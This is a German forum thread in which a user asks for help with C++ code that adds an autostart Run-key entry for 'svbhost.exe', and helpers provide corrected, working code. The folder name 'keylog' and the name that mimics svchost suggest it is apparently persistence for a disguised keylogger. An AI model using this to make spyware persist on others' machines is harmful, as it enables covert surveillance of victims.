regedit: Zeichenfolge auch chinesich

Simpac

Grünschnabel
Hallo, ich bins wieder..

Ich habe mir ein kleines Programm gebastelt, welches mit eine Zeichenfolge in der regedit machen soll.
Das Programm läuft auch wie geplant, doch der Inhalt der Zeichenfolge ist auf chinesisch angegeben und funktioniert deshalb nicht.

Hier der Code:
C++:
#include <windows.h>
#include <tchar.h>
#pragma comment(lib, "Advapi32")
void main (void)
{
BYTE pfad[] = "C:\Users\Simon\Desktop\keylog\svbhost\Debug\svbhost.exe"; 
HKEY hkey; 
RegCreateKeyEx(HKEY_CURRENT_USER,TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey, 0);     
RegSetValueEx(hkey, TEXT("svbhost.exe"), 0, REG_SZ, pfad, sizeof(pfad)); 
RegCloseKey(hkey);
}
 
Hi

ist keine automatische Übersetzung, sondern wahrscheinlich ein Charsetproblem.
Du musst auch pfad mit TEXT etc. behandeln.
 
der pfad ist doch als TEXT (mit " ") geschrieben.. oder hab ich da jetzt was falsch verstanden?
Hast du eine Idee, wie das sein muss?
 
C++:
RegSetValueEx(hkey, TEXT("svbhost.exe"), 0, REG_SZ, TEXT(pfad), sizeof(pfad));
ergibt eine Fehlermeldung:
Fehler 7 error C2065: 'Lpfad': nichtdeklarierter Bezeichner 10

__________________________________
wenn ich anstatt dem TEXT(pfad) - TEXT("C:\Users\Simon\Desktop\keylog\svbhost\Debug\svbhost.exe") schreibe, kommt:
Fehler 13 error C2664: 'RegSetValueExW': Konvertierung des Parameters 5 von 'const wchar_t [49]' in 'const BYTE *' nicht möglich 10

___________________________________

ich wüsste nicht, wie ich dagegen vorgehen kann.
 
Du müsstest noch casten.
Aber wenn du sowieso nur Ansizeug verwendest:
C++:
RegSetValueExA(hkey, "svbhost.exe", 0, REG_SZ, pfad, sizeof(pfad));
oder gleich Unicode komplett wegschalten.
 
Du meinst \ ?

Schreib sie doppelt
C++:
BYTE pfad[] = "C:\\Users\\Simon\\Desktop\\keylog\\svbhost\\Debug\\svbhost.exe";
Grund: Einfache \ mit Buchstaben dahinter sind bestimmte Steurzeichen,
zB. \n ist ein Zeilenwechsel, \t ein Tabulator etc.
Und ein doppeltes \\ meint einen echten \
 
Hi.

Ich hab nicht verstanden was du mit chinesisch meinst?

Es hätte so aussehem müssen:
C:
int main (void)
{
TCHAR pfad[] = TEXT("C:\\Users\\Simon\\Desktop\\keylog\\svbhost\\Debug\\svbhost.exe"); 
HKEY hkey; 
RegCreateKeyEx(HKEY_CURRENT_USER,TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey, 0);     
RegSetValueEx(hkey, TEXT("svbhost.exe"), 0, REG_SZ, (LPBYTE)pfad, sizeof(pfad)); 
RegCloseKey(hkey);
}
Gruß
 
Zurück